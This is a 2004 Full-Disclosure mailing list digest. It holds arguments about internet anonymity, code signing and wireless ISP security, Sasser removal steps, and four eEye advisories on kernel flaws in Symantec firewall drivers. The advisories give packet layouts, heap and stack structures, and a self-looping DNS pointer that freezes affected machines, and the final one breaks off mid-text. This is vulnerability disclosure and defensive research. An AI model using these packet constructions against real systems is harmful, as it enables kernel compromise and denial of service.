On Wed, 2004-05-12 at 11:56, Schmidt, Michael R. wrote:
> Well one of the biggest issues that allows people to remain anonymous is DHCP.  
I Disagree. That's traceable, ask the RIAA or MPAA.

> If everyone on the internet was required to get a static IP address, or to log which 
> IP they were using - using a secure technology then everyone could be tracked, sure 
> a few "super" hackers could still manage to escape detection I am sure, but there is 
> nothing that is the equivalent of a drivers license on the internet.
The Internet is just that, the inter-connection of different networks. 
Each network is owned by someone. If you happen to run a network of 5
computer's and have an internet connection, your network is part of the
internet.
> 
> Sure there would still be criminals using stolen credentials, but IPs are handed out 
> based on location or where you dialed in from.

Ip addresses are handed out from your ISP.  Once your network is large
enough, you can ask for your own block of IP addresses that your
upstream provider (Internet Provider) will route and announce for you.

>  Dialing in can be traced using caller ID, wireless by IP and base station 
> proximity, so just like today, people would have a alibi for the time and place the 
> criminal used their identity.
Why, are you actively online 24/7 ? So for the 5 minutes you spend in
the restroom, I can pull up outside, grab a signal from your AP, and
launch the next Bagel.zzz worm, then leave before your back at your
desk. I used your internet connection to launch it... Your alibi... you
were in the restroom, it couldn't be your fault.  Please. you want to
stop this mess... protect your own network.

> 
> What we need is something that you have to log into (securely) or your DHCP is 
> revoked immediately.

I'll break this down into two parts.  A DHCP address is not revokable.
If your dhcp server gives out 24 hour leases, 12 hours from now, the
computer will check in with the dhcp server.  You may have some luck
then revoking the IP.

>   And of course static IPs are well, static and since they are routed, routes can be 
> logged and therefore trackable.

All IP addresses are routable (Maybe not on the internet), it's how the
client gets the IP address that you've commented on.  Set good policies
on your firewall, and have a lot of storage space for log files.
> 
> So again it is anonymity that causes most of the grief.  
Not entirely.

> If all code had to be signed, then you'd know who wrote it, and running unsigned 
> code would be your own stupid fault.

Are you Steve Ballmer?  Are you talking about Palladium?

So if I write a 5 line perl / C++ / vbs script for some system
administration task, you'd have me spend $$ to have the code signed (By
a recognized CA, like SSL certs) to be able to run and share it.  Ah and
if I just ask people to trust my code and run it...  we're back at
square one.

Do you remember when it wasn't safe to "Trust all content from
Microsoft" yet it was signed by them.

> 
> If you replace a part on some new cars with a non-manufacturers part, you void the 
> warranty. 

Not always, check your warranty

>  But when you run unsigned downloaded for free or sent through email code on your 
> dell, who do you call and expect to fix it when it stops working?
you do the same thing you do when your car breaks down, take it to
someone who can fix it, and pay them to do it.  There's a whole market
based on this principal.

>   The end user is the moron, we require no test to get on the internet and yet we 
> let more people anonymously sign on the net everyday.

Again, let *darwinism take it's course, and protect yourself.

*Where I work you get 1 shot. you get infected the first time, you get a
warning, after that you get a fine. The way our network is setup, a user
has to work at it to get infected.





___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Calcuating Loss

[Schmidt, Michael R.]

-Original Message-
From: Michael Gargiullo [mailto:[EMAIL PROTECTED]
Sent: Wednesday, May 12, 2004 10:53 AM
To: Schmidt, Michael R.
Cc: [EMAIL PROTECTED]
Subject: RE: [Full-Disclosure] Calcuating Loss

On Wed, 2004-05-12 at 11:56, Schmidt, Michael R. wrote:
> Well one of the biggest issues that allows people to remain anonymous is DHCP. 
I Disagree. That's traceable, ask the RIAA or MPAA.
Those idiots should have burned their hard drives that would be hard to trace.  
Content saved to hard drives can almost always be rebuilt.


> If everyone on the internet was required to get a static IP address, or to log which 
> IP they were using - using a secure technology then everyone could be tracked, sure 
> a few "super" hackers could still manage to escape detection I am sure, but there is 
> nothing that is the equivalent of a drivers license on the internet.
The Internet is just that, the inter-connection of different networks.
Each network is owned by someone. If you happen to run a network of 5
computer's and have an internet connection, your network is part of the
internet.
Yes, I own my home network.  My children are allowed to get on the Internet.  Just 
found a bunch of malware on my sons computer.  His privileges have been revoked.  But 
you can't fire your kids.  You can however educate them.  What I found was that even 
though he had been "educated" (Don't click pop ups - even ones that say they are going 
to help you), he was clicking every freaking thing that popped up.  Now don't get me 
wrong, he is a brilliant kid, a tad unmotivated, but he was unwittingly allowing 
malware to be installed on his computer.  Now I have pop up blockers installed on his 
computer.  But he can still turn them off.  Users can be stupid, even when they share 
our own DNA

>
> Sure there would still be criminals using stolen credentials, but IPs are handed out 
> based on location or where you dialed in from.

Ip addresses are handed out from your ISP.  Once your network is large
enough, you can ask for your own block of IP addresses that your
upstream provider (Internet Provider) will route and announce for you.
I have a static IP.


>  Dialing in can be traced using caller ID, wireless by IP and base station 
> proximity, so just like today, people would have a alibi for the time and place the 
> criminal used their identity.
Why, are you actively online 24/7 ? So for the 5 minutes you spend in
the restroom, I can pull up outside, grab a signal from your AP, and
launch the next Bagel.zzz worm, then leave before your back at your
desk. I used your internet connection to launch it... Your alibi... you
were in the restroom, it couldn't be your fault.  Please. you want to
stop this mess... protect your own network.
You could.  So far my wireless connection is only wep protected, but I will add radius 
authentication next, and it is in the dmz

>
> What we need is something that you have to log into (securely) or your DHCP is 
> revoked immediately.

I'll break this down into two parts.  A DHCP address is not revokable.
If your dhcp server gives out 24 hour leases, 12 hours from now, the
computer will check in with the dhcp server.  You may have some luck
then revoking the IP.
With current technology. You could also actively block it at the router when it was 
discovered to be an invalid user.  I do know a bit about technology.  Every time 
someone tells me I cant do something or that something cant be done I know it will be 
only a short bit of time till it is.


>   And of course static IPs are well, static and since they are routed, routes can be 
> logged and therefore trackable.

All IP addresses are routable (Maybe not on the internet), it's how the
client gets the IP address that you've commented on.  Set good policies
on your firewall, and have a lot of storage space for log files.
>
> So again it is anonymity that causes most of the grief. 
Not entirely.
That's why hackers hide - its anonymous
If the walked into a starbucks and announced that they were actively logging all 
wireless network activity how long do you think people would stay logged on or allow 
them to log said activity


> If all code had to be signed, then you'd know who wrote it, and running unsigned 
> code would be your own stupid fault.

Are you Steve Ballmer?  Are you talking about Palladium?

So if I write a 5 line perl / C++ / vbs script for some system
administration task, you'd have me spend $$ to have the code signed (By
a recognized CA, like SSL certs) to be able to run and share it.  Ah and
if I just ask people to trust my code and run it...  we're back at
square one.
No, What I said was if you run unprotected code it is your fault.  Not mine, not the 
computer manufacturers, not mircosofts, not lindows, not redhats, not scos, not 
freebsd, not anyone but your own.


Do you remember when it wasn't safe to "Trust all content from
Microsoft" yet it was signed by them.

>
> If you replace a part on some new cars with a non-manufac

RE: [Full-Disclosure] Wireless ISPs

[Scott Taylor]

All the latest key managing algorithms, the TKIP, CKIP+CMIC, WPA - they
all offer a huge improvement over static WEP keys. But not all client
devices support their features. Most of the wireless bridge devices that
customers are willing to buy support either no encryption or a static
WEP key. Try telling a customer they must buy a $500 cisco workgroup
bridge, plus $100 antenna, plus cable, plus installation... Just so
their device can authenticate with EAP. It doesn't work out so well. Its
enough to get them to drop $300 on a bridge with integrated antenna and
power over ethernet. Cheaper, easier to install, but no advanced
authentication possible. Its a good solid wireless link. Wireless is
inherently sniffable anyway, so its not a huge loss.

Most of these customers want to play their online games and download
their porn. The fact that its not encrypted is not a huge business risk.
Companies that do allow employees to connect to the corporate network
from home should insist on not just appropriate VPN software, but
require some degree of firewalling and virus policies on all computers
that can connect. To some degree I've seen or implemented such policies.
Businesses too lazy or incompetent to do so, well, thats their problem. 

In the meantime I'll do my best to keep customers connected, offer
secure options whenever possible, and keep watch over the network as
spikes in usage have identified customers who had inadequate virus
protection, and their link was terminated until they took corrective
action. Aside from that, its a big nasty internet out there. And it'll
continue to be that way. 

On Wed, 2004-05-12 at 11:13, Schmidt, Michael R. wrote:
> It is one part not knowing and one part training. And there will always be the 
> people who are just plain and simple too stupid to deal with reality, that's where 
> we get drug addicts, drunks and people smoking that last cigarette as the take their 
> last breath...  These people are taught, they have been told, but they still do 
> stupid things. It's the nature of the beast people, get used to it.
> 
> Sure a small child would drink bleach cause they didn't know better, but grown 
> adults sniff glue and paint, someone somewhere they learned but what?  It didn't 
> take.  People are sheep and need to be told what to do, deny it all you want but it 
> is the truth.
> 
> That's why we require responsibility - or at least registration before we let 
> citizens do some things, like drive, like drink, how about getting on the net?
> 
> How hard would it be to have a few companies start a "secure" Internet?  All access 
> is by licensed know individuals.  No more hacking, no more slacking.  If we don't 
> know you, then you don't get access.  If suspicious activity comes from you IP you 
> get closed down till we know your machine is safe.  That's where I'd go for all of 
> my financial transactions.  The Internet is the Wild West and I am only there 
> because it is the only game in town.  And think, with a "restart" it could be built 
> right from the start.
> 
> Come on people we let terrorists and criminals in on this thing voluntarily.  How 
> smart are we?
> 
> Keeping my home network safe requires way too much freaking time - but since we are 
> pioneers I am willing to take a few arrows, but someday this wild and wooly place 
> will grow up, become civilized and you'll all start carrying a "Net" license in your 
> pocket
> 
> -Original Message-
> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Behalf Of [EMAIL PROTECTED]
> Sent: Tuesday, May 11, 2004 6:05 PM
> To: Maarten
> Cc: [EMAIL PROTECTED]
> Subject: Re: [Full-Disclosure] Wireless ISPs 
> 
> On Wed, 12 May 2004 00:18:37 +0200, Maarten <[EMAIL PROTECTED]>  said:
> 
> > Who, in their right minds, will read their email anyhow over an unencrypted
> > wireless link ?  That's asking for trouble, ie. information-leakage.
> 
> The 99.98% of *real* *users* who are so clueless as to not *know* that it's a
> bad idea.  How many subscribers on this list?  30K, maybe?  What percent of the
> several hundred million internet users is that, anyhow?
> 
> Who, in their right minds, would drink bleach out of the bottle under the sink?
>  Nobody - but the first thing most parents do is put a *lock* on that cabinet,
> or move the bleach, because we know that the toddler *isnt* in their right
> mind, and will need several years of learning before they are.
> 
> The same exact logic applies when talking about users.  They do things because,
> just like the 3 year old, they DONT KNOW ANY BETTER.
> 
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
--
Scott Taylor - <[EMAIL PROTECTED]> 

If I kiss you, that is an psychological interaction.
On the other hand, if I hit you over the head with a brick,
that is also a psychological interaction.
The difference is that one is friendly and the o

Re: [Full-Disclosure] leaking

[sith]

On Wed, May 12, 2004 at 12:46:52PM -0500, Alerta Redsegura wrote:
> Now, I repeat the question:

You mean ask your question differently, ;)

> How can the web-based email service in this particular case, gather email
> addresses from the members of this list via this banner?

The original poster said "track" not "collect" email addresses, I think
Jimmy meant track as well.  I was just trying to clarify where, or how.  I
don't think in this case you could (unless you were either matching IPs, or
there is other information in the request that certain MUAs give out)

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Wireless ISPs

[Scott Manley]

On the other side of things, I've recently encountered internet vendors 
who're reassuring customers that they use HTTPS for online ordering. But 
 when I've ordered something from them they've e-mailed me asking for 
proof of ownership of the card - they either want a fax, or for me to 
e-mail a scanned image of my credit card.

When I ask them they say that their bank is requiring this to combat fraud.

I'd really like to know which bank is insisting that customers send 
credit card info over e-mail - even if it is somewhat obfuscated.

Most don't.  Even most pronted receipts don't include all the numbers of your credit card any more - but some still do.  Few, but a number >1.


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] removing sasser

[Marcel Krause]

Hi Alerta!

> 2. Look for avserve.exe or avserve2.exe in the %Windir% directory
> 3. Delete "avserve.exe" [...] in
> HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

thx, thats the info I was looking for

Yours, Marcel

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] leaking

[Gary E. Miller]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Yo Valids!

On Wed, 12 May 2004 [EMAIL PROTECTED] wrote:

> For all the grief I give Microsoft, I *do* have to admit that there's only
> a few network-engineering feats of a similar size and scale

And gotta love the flavors of the BSD OS that does it for them!

RGDS
GARY
- ---
Gary E. Miller Rellim 20340 Empire Blvd, Suite E-3, Bend, OR 97701
[EMAIL PROTECTED]  Tel:+1(541)382-8588 Fax: +1(541)382-8676

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.3 (GNU/Linux)

iD8DBQFAonaL8KZibdeR3qURAlx5AKCYh2RZqXLrtc0qyOsox2twYmktpQCg7mA1
xYkDlIGupYBUWlu8E062Hu4=
=02Kg
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] leaking

[Valdis . Kletnieks]

On Wed, 12 May 2004 09:41:04 PDT, "Gary E. Miller" said:

> last week.  Hundreds of emails to invalid email accounts for every valid
> one.  Their poor server could not stand up to the load.

And remember guys - "their poor server" is a huge affair, even months ago it
was bouncing *billions* of spam *per day*, handling all the *real* hotmail and
MSN traffic (which is almost certainly into the hundreds of millions per day),
and actually managing to keep up

For all the grief I give Microsoft, I *do* have to admit that there's only
a few network-engineering feats of a similar size and scale


pgp0.pgp
Description: PGP signature

Re: [Full-Disclosure] My Signature

[Keith A. Pachulski]

and this has what to do with anything of importance or to the relevance
of this mailing list?

On Wed, 2004-05-12 at 09:56, Nico Golde wrote:
> Hi,
> some of the people told me that my signature isn't correct.
> for some people here it looks like this or simelarly:
> 
> Nico Golde | [EMAIL PROTECTED] | [EMAIL PROTECTED] | [EMAIL PROTECTED]
> net
> http://www.ngolde.de | GnuPG Key: http://www.ngolde.de/gpg/nico_golde.=
> gpg
> Fingerprint | FF46 E565 5CC1 E2E5 3F69 C739 1D87 E549 7364 7=
> CFF=20
> vim -c ":%s/^/WhfgTNabgureRIvzSUnpxreT-Tavba/|:%s/[R-T]/ /Ig|:normal
> ggVG=
> g?"
> 
> i dont know why it is so, because for me and some others it looks like
> this:
> 
> Nico Golde| [EMAIL PROTECTED]  | [EMAIL PROTECTED] | [EMAIL 
> PROTECTED]
> http://www.ngolde.de  | GnuPG Key: http://www.ngolde.de/gpg/nico_golde.gpg
> Fingerprint   | FF46 E565 5CC1 E2E5 3F69  C739 1D87 E549 7364 7CFF
> vim -c   ":%s/^/WhfgTNabgureRIvzSUnpxreT-Tavba/|:%s/[R-T]/ /Ig|:normal ggVGg?"
> 
> my mailer is mutt(linux) and i have really no idea why some people here say it is so.
> in the attachment is my signature file, if someone will take a look.
> but i think it only depends on the mailer you use or the formation.
> does someone have an idea?
> regards nico
-- 
|Keith A. Pachulski | PenTeleData LP1 Information Security and Privacy|
|Phone: (800) 281.3564 x2454 | Pager: [EMAIL PROTECTED]|
|PGP: 6B56 C8DC 6201 6D1A BFF5  5799 E193 ABAA 9549 74D0|


signature.asc
Description: This is a digitally signed message part

[Full-Disclosure] EEYE: Symantec Multiple Firewall NBNS Response Remote Heap Corruption

[Marc Maiffret]

Symantec Multiple Firewall NBNS Response Remote Heap Corruption

Release Date:
May 12, 2004

Date Reported:
April 19, 2004

Severity:
High (Remote Kernel Code Execution)

Vendor:
Symantec

Systems Affected:
Symantec Norton Internet Security 2002
Symantec Norton Internet Security 2003
Symantec Norton Internet Security 2004
Symantec Norton Internet Security Professional 2002
Symantec Norton Internet Security Professional 2003
Symantec Norton Internet Security Professional 2004
Symantec Norton Personal Firewall 2002
Symantec Norton Personal Firewall 2003
Symantec Norton Personal Firewall 2004 
Symantec Client Firewall 5.01, 5.1.1 
Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
Symantec Norton AntiSpam 2004

Description:
eEye Digital Security has discovered a critical remote vulnerability
within the Symantec firewall product line. There is a remote heap
corruption vulnerability in SYMDNS.SYS, a driver that validates NetBIOS
Name Service responses, which can lead to execution of arbitrary code
for various Symantec products. Successful exploitation of this flaw
yields remote kernel access to the system.

With the ability to freely execute code at the Ring 0 privilege level,
there are literally no boundaries for an attacker.

Technical Description:
This specific vulnerability exists within the SYMDNS.SYS driver. The
code in SYMDNS.SYS that validates NetBIOS Name Service responses (source
port UDP/137) does not perform proper bounds checking when reading
answer data from the packet. Because the byte order of each answer
resource record's type, class, time-to-live, and data length are
switched in-place within a copy of the packet, it is possible to corrupt
heap memory in such a way that can lead to the execution of arbitrary
code within the kernel.

The following is a sample NetBIOS Name Service response packet:

Offset Size Data Description
--- --- --- 
h WORD xx xx Transaction ID
0002h WORD 80 00 Flags
0004h WORD 00 00 Number of questions
0006h WORD 00 02 Number of answer RRs
0008h WORD xx xx Number of authority RRs
000Ah WORD xx xx Number of additional RRs
000Ch BYTE 02 Length of name component
000Dh 2 CHARs xx xx First-level encoded name
000Fh BYTE 00 No more name components
0010h* WORD xx xx Answer RR: Type
0012h* WORD xx xx Answer RR: Class
0014h* DWORD xx xx xx xx Answer RR: Time-to-Live
0018h* WORD xx xx Answer RR: Data Length

If the starred (*) fields are omitted from the packet, the vulnerable
code will swap bytes in the adjacent heap block's header. SYMDNS employs
a custom heap implementation which it maintains inside of large
ExAllocatePoolWithTag-allocated blocks of kernel memory, and uses heap
block header structures of the following format:

Offset Size Description
--- --- 
h PTR pointer to next free block
0004h PTR pointer to previous free block
0008h PTR pointer to next block
000Ch PTR pointer to previous block
0010h DWORD size of data area of heap block
0014h PTR pointer to heap base address
0018h DWORD reference count (0 = free)
001Ch DWORD tag

With careful heap preparation, some specially-crafted packets, and a
modest amount of luck, it is possible to manipulate these and other heap
pointers in order to write arbitrary data to an arbitrary memory
location, which can then be leveraged in order to execute
attacker-supplied code. Because this is a kernel-mode heap-related
exploit, there will always be sitautions which will cause an
exploitation attempt to result in a blue-screen, but the odds of success
are definitely enough to qualify this as remote code execution, rather
than a remote denial-of-service.

By default, the NetBIOS Name Service is not allowed by the firewall but
is commonly used in a Windows networking environment.

Protection:
Retina Network Security Scanner has been updated to identify this
vulnerability.

Vendor Status:
Symantec has released a patch for this vulnerability. The patch is
available via the Symantec LiveUpdate service. For more information
please refer to the Symantec security advisory.
http://securityresponse.symantec.com/avcenter/security/Content/2004.05.1
2.html 

Credit:
Discovery: Karl Lynn

Related Links:
Retina Network Security Scanner - Free 15 Day Trial
http://www.eeye.com/html/Products/Retina/download.html

Greetings:
Kelly H., Derek "Tex" Soeder, the guys at CORE, and Estelle L.

Copyright (c) 1998-2004 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please email
[EMAIL PROTECTED] for permission.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are no warranties, implied or express, with regard to this information.
In no ev

[Full-Disclosure] EEYE: Symantec Multiple Firewall DNS Response Denial-of-Service

[Marc Maiffret]

Symantec Multiple Firewall DNS Response Denial-of-Service

Release Date:
May 12, 2004

Date Reported:
April 19, 2004

Severity:
High (Remote Denial of Service)

Vendor:
Symantec

Systems Affected:
Symantec Norton Internet Security 2002
Symantec Norton Internet Security 2003
Symantec Norton Internet Security 2004
Symantec Norton Internet Security Professional 2002
Symantec Norton Internet Security Professional 2003
Symantec Norton Internet Security Professional 2004
Symantec Norton Personal Firewall 2002
Symantec Norton Personal Firewall 2003
Symantec Norton Personal Firewall 2004 
Symantec Client Firewall 5.01, 5.1.1 
Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
Symantec Norton AntiSpam 2004

Description:
eEye Digital Security has discovered a second vulnerability in the
Symantec firewall product line that can be remotely exploited to cause a
severe denial-of-service condition on systems running a default
installation of an affected version of the product. By sending a single
malicious DNS (UDP port 53) response packet to a vulnerable host, an
attacker can cause the Symantec DNS response validation code to enter an
infinite loop within the kernel, amounting to a system freeze that
requires the machine to be physically rebooted in order to restore
operation.

Technical Description:
The SYMDNS.SYS driver included in these products validates each DNS
response packet before allowing it through the firewall, attempting to
reassemble a DNS answer name into a single dotted string as part of this
process. Although not as hot as Barns's and Karl's stack overflow in the
same routine, there is also a denial-of-service vulnerability in the
name component concatention code involving the processing of compressed
name pointers (name component with a length byte >= 40h, as far as
SYMDNS is concerned, followed by the offset of the name component to
substitute in place of the pointer). Specifically, if a compressed name
pointer is constructed that points to itself, this routine will loop
infinitely as it forever follows the compressed name pointer, to the
compressed name pointer, to the compressed name pointer...

The following is a DNS response packet containing such a pointer:

Offset  SizeDataDescription
--- --- --- 
h   WORDxx xx   Transaction ID
0002h   WORD80 00   Flags (bit 15: response)
0004h   WORD00 01   Number of questions
0006h   WORD00 01   Number of answer RRs
0008h   WORDxx xx   Number of authority RRs
000Ah   WORDxx xx   Number of additional RRs
000Ch   WORDC0 0C   Compressed name pointer to itself

By sending an attack packet to any open UDP port on a vulnerable system,
from a source port of 53, the vulnerable code will be reached and the
denial-of-service condition will occur.

Protection:
Retina Network Security Scanner has been updated to identify this
vulnerability.

Vendor Status:
Symantec has released a patch for this vulnerability. The patch is
available via the Symantec LiveUpdate service. For more information
please refer to the Symantec security advisory.
http://securityresponse.symantec.com/avcenter/security/Content/2004.05.1
2.html 

Credit:
Discovery: Barnaby Jack, Karl Lynn, Derek Soeder

Related Links:
Retina Network Security Scanner - Free 15 Day Trial
http://www.eeye.com/html/Products/Retina/download.html

Greetings:
D12/2, Ink, AiC, "Screenshot guy"(tm), and we would also like to thank
our contact Mike over at Symantec for being patient and cooperative
throughout the reporting process.

Copyright (c) 1998-2004 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please email
[EMAIL PROTECTED] for permission.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are no warranties, implied or express, with regard to this information.
In no event shall the author be liable for any direct or indirect
damages whatsoever arising out of or in connection with the use or
spread of this information. Any use of this information is at the user's
own risk.

Feedback
Please send suggestions, updates, and comments to:

eEye Digital Security
http://www.eEye.com
[EMAIL PROTECTED]
<>

Re: [Full-Disclosure] leaking?

[Valdis . Kletnieks]

On Wed, 12 May 2004 22:24:18 +0530, "Aditya, ALD [Aditya Lalit Deshmukh]" <[EMAIL 
PROTECTED]>  said:

> this is not included by them intentionally but by rediff.com a stupid free
> email site that does nothing but shove advertisements here and there. both the
> server are blocked on my lan. and all the html tags from the rediffmail are
> stripped at the smtp server itself. how do we get the rediff people to stop
> doing this ie stop them from adding graphic picture ads to every email being
> send out from their servers ?

There really isn't much you can do other than what you're doing already.

As long as they keep getting money for their ads, they'll keep doing it.  On
the other hand, if you make sure that they don't get their money by blocking
the HTML so the advertisers don't get the click-through, they'll eventually go
broke.

"And friends, somewhere in Washington enshrined in some little folder, is a
study in black and white of my fingerprints.  And the only reason I'm
singing you this song now is cause you may know somebody in a similar
situation, or you may be in a similar situation, and if your in a
situation like that there's only one thing you can do and that's walk into
the shrink wherever you are ,just walk in say "Shrink, You can get
anything you want, at Alice's restaurant.".  And walk out.  You know, if
one person, just one person does it they may think he's really sick and
they won't take him.  And if two people, two people do it, in harmony,
they may think they're both faggots and they won't take either of them.
And three people do it, three, can you imagine, three people walking in
singin a bar of Alice's Restaurant and walking out. They may think it's an
organization.  And can you, can you imagine fifty people a day,I said
fifty people a day walking in singin a bar of Alice's Restaurant and
walking out.  And friends they may thinks it's a movement.

And that's what it is , the Alice's Restaurant Anti-Massacre Movement, and
all you got to do to join is sing it the next time it come's around on the
guitar." -- Arlo Guthrie



pgp0.pgp
Description: PGP signature

[Full-Disclosure] EEYE: Symantec Multiple Firewall Remote DNS KERNEL Overflow

[Marc Maiffret]

Symantec Multiple Firewall Remote DNS KERNEL Overflow

Release Date:
May 12, 2004

Date Reported:
April 19, 2004

Severity:
High (Remote Kernel Access)

Vendor:
Symantec

Systems Affected:
Symantec Norton Internet Security 2002
Symantec Norton Internet Security 2003
Symantec Norton Internet Security 2004
Symantec Norton Internet Security Professional 2002
Symantec Norton Internet Security Professional 2003
Symantec Norton Internet Security Professional 2004
Symantec Norton Personal Firewall 2002
Symantec Norton Personal Firewall 2003
Symantec Norton Personal Firewall 2004 
Symantec Client Firewall 5.01, 5.1.1 
Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
Symantec Norton AntiSpam 2004

Description:
eEye Digital Security has discovered a critical remote vulnerability
within the Symantec firewall product line. A buffer overflow exists
within a core driver component that handles the processing of DNS
(Domain Name Service) requests and responses. By sending a DNS Resource
Record with an overly long canonical name, a traditional stack-based
buffer overflow is triggered. Successful exploitation of this flaw
yields remote KERNEL access to the system.

With the ability to freely execute code at the Ring 0 privilege level,
there are literally no boundaries for an attacker.

It should also be noted, that due to a separate design flaw in the
firewalls handling of incoming packets, this attack can be successfully
performed with all ports filtered, and all intrusion rules set.

Technical Description:
This specific vulnerability exists within the SYMDNS.SYS driver. The
stack overflow arises due to an implementation flaw in the routine that
processes the CNAME field of incoming Resource Records. A canonical name
field is represented as a series of labels, and is terminated by a label
with a zero byte length. Each string consists of a one byte length
specifier, followed by that number of characters. A typical canonical
name field would be of the following format:

0x03 // length 
www // string component
0x04 // length 
eEye // string component
0x03 // length 
com // string component

Each time the SYMDNS.SYS driver encounters a length field, the field is
then used as a counter to copy the bytes that follow. These bytes are
copied directly into a stack based buffer. Due to poor sanity checking
on the total CNAME field, the routine will accept a large number of
length specifiers and byte sequences. As the routine loops through each
field, the bytes are concatenated, and an exploitable condition in the
KERNEL is reached.

A separate design flaw allows this attack to succeed with the firewall
running at it's most locked-down state. The firewall will happily accept
any packet that has a source port of 53, regardless of port filtering.

The fact that this vulnerability is exploitable over UDP adds another
serious layer to an already critical flaw.

Protection:
Retina Network Security Scanner has been updated to identify this
vulnerability.

Vendor Status:
Symantec has released a patch for this vulnerability. The patch is
available via the Symantec LiveUpdate service. For more information
please refer to the Symantec security advisory.
http://securityresponse.symantec.com/avcenter/security/Content/2004.05.1
2.html 

Credit:
Discovery: Barnaby Jack and Karl Lynn

Related Links:
Retina Network Security Scanner - Free 15 Day Trial
http://www.eeye.com/html/Products/Retina/download.html

Greetings:
R Hassell (aka Gilligan), the NZ crew, Gary Golomb, Rich Walchuck, Jason
Dameron, Sam Stover, Matt Dickerson, and Kelly H.

Copyright (c) 1998-2004 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please email
[EMAIL PROTECTED] for permission.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are no warranties, implied or express, with regard to this information.
In no event shall the author be liable for any direct or indirect
damages whatsoever arising out of or in connection with the use or
spread of this information. Any use of this information is at the user's
own risk.

Feedback
Please send suggestions, updates, and comments to:

eEye Digital Security
http://www.eEye.com
[EMAIL PROTECTED]
<>

[Full-Disclosure] EEYE: Symantec Multiple Firewall NBNS Response Processing Stack Overflow

[Marc Maiffret]

Symantec Multiple Firewall NBNS Response Processing Stack Overflow

Release Date:
May 12, 2004

Date Reported:
April 19, 2004

Severity:
High (Remote Kernel Code Execution)

Vendor:
Symantec

Systems Affected:
Symantec Norton Internet Security 2002
Symantec Norton Internet Security 2003
Symantec Norton Internet Security 2004
Symantec Norton Internet Security Professional 2002 Symantec Norton
Internet Security Professional 2003 Symantec Norton Internet Security
Professional 2004 Symantec Norton Personal Firewall 2002 Symantec Norton
Personal Firewall 2003 Symantec Norton Personal Firewall 2004 Symantec
Client Firewall 5.01, 5.1.1 Symantec Client Security 1.0, 1.1, 2.0(SCF
7.1) Symantec Norton AntiSpam 2004

Description:
eEye Digital Security has discovered a critical vulnerability in the
Symantec firewall product line that would allow a remote, anonymous
attacker to execute arbitrary code on a system running an affected
version of the product. By sending a single specially-crafted NetBIOS
Name Service (UDP port 137) packet to a vulnerable host, an attacker
could cause an arbitrary memory location to be overwritten with data he
or she controls, leading to the execution of attacker-supplied code with
kernel privileges and the absolute compromise of the target.

The vulnerability exists due to a flaw in the way these products process
incoming UDP packets with a source port of 137 (NetBIOS Name Service).
If such a packet is received, it is validated as a proper NBNS packet
and certain information from the packet is stored. A specifically
crafted packet can cause the code that copies information out of the
packet to instead write packet data to an arbitrary memory location, a
flaw that can be leveraged in order to malicious execute on an affected
system. In order for this vulnerability to be exploitable, the firewall
must be configured to allow incoming UDP/137 packets, a setting which is
not present by default, but may be enabled by the user or network
administrator in order to facilitate Windows file sharing.

Technical Description:
The SYMDNS.SYS driver included in the Symantec firewall product line
validates DNS and NetBIOS Name Service responses before allowing them
through the firewall. As it turns out, the handlers for both types of
packets have grave security issues, but this advisory focuses on NBNS
packets and leaves DNS up to Barns and Karl. The intended protocol is
determined by the source port of the UDP packet -- 53 for DNS, 137 for
NBNS -- and after verifying that the incoming packet is marked as a
response according to the header, it is passed off to the appropriate
analysis routine, both of which perform similar but protocol-specific
processing on the answer data contained therein (although no further
validation takes place).

In the case of the NBNS routine, the questions in the packet are
skipped, and the answers are only examined if they have Class 01h (INET)
and Type 01h (A) or 20h (NB). For answers meeting these criteria, the
name is first-level decoded, the IP addresses are stored in a list, and
both are later recorded internally in a global array. (As a refresher:
first level encoding represents each byte of a name as two letters from
'A' to 'P', which correspond to the high and low hexadecimal digits of
the byte's value -- 'A' is 0, 'B' is 1, 'C' is 2, and so on. For
example, "eEye" is represented in hexadecimal as 65h 45h 79h 65h, and is
therefore encoded as "GFEFHJGF". See RFC 1001, Section 14.1, for more
information.)

The first of many problems that make this vulnerability possible is that
the first-level decoding routine will decode an amount of data
corresponding to the length byte preceding the encoded name, making it
possible to store up to 127 arbitrary bytes (plus a null terminator)
into a 32-byte stack buffer provided by the main NBNS processing
routine. Although this condition is insufficient to overwrite the return
address directly (the buffer begins at EBP-118h, but only an 80h-byte
write is possible), there is an index variable that can be overwritten
in order to manipulate the IP address copying loop later in the
function. The NBNS processing routine's stack frame can be represented
as follows:

PBYTE var_11C;
char var_118[0x20];
DWORD var_F8;
DWORD var_F4;
DWORD var_F0;
PBYTE var_EC;
DWORD var_E8[0x18];
char var_88[0x80];
PBYTE var_8;
PBYTE var_4;
(saved EBP at EBP+0)
(saved EIP at EBP+4)
...

var_118 is the destination buffer passed to the first-level decode
routine, and just about everything after it is initialized after the
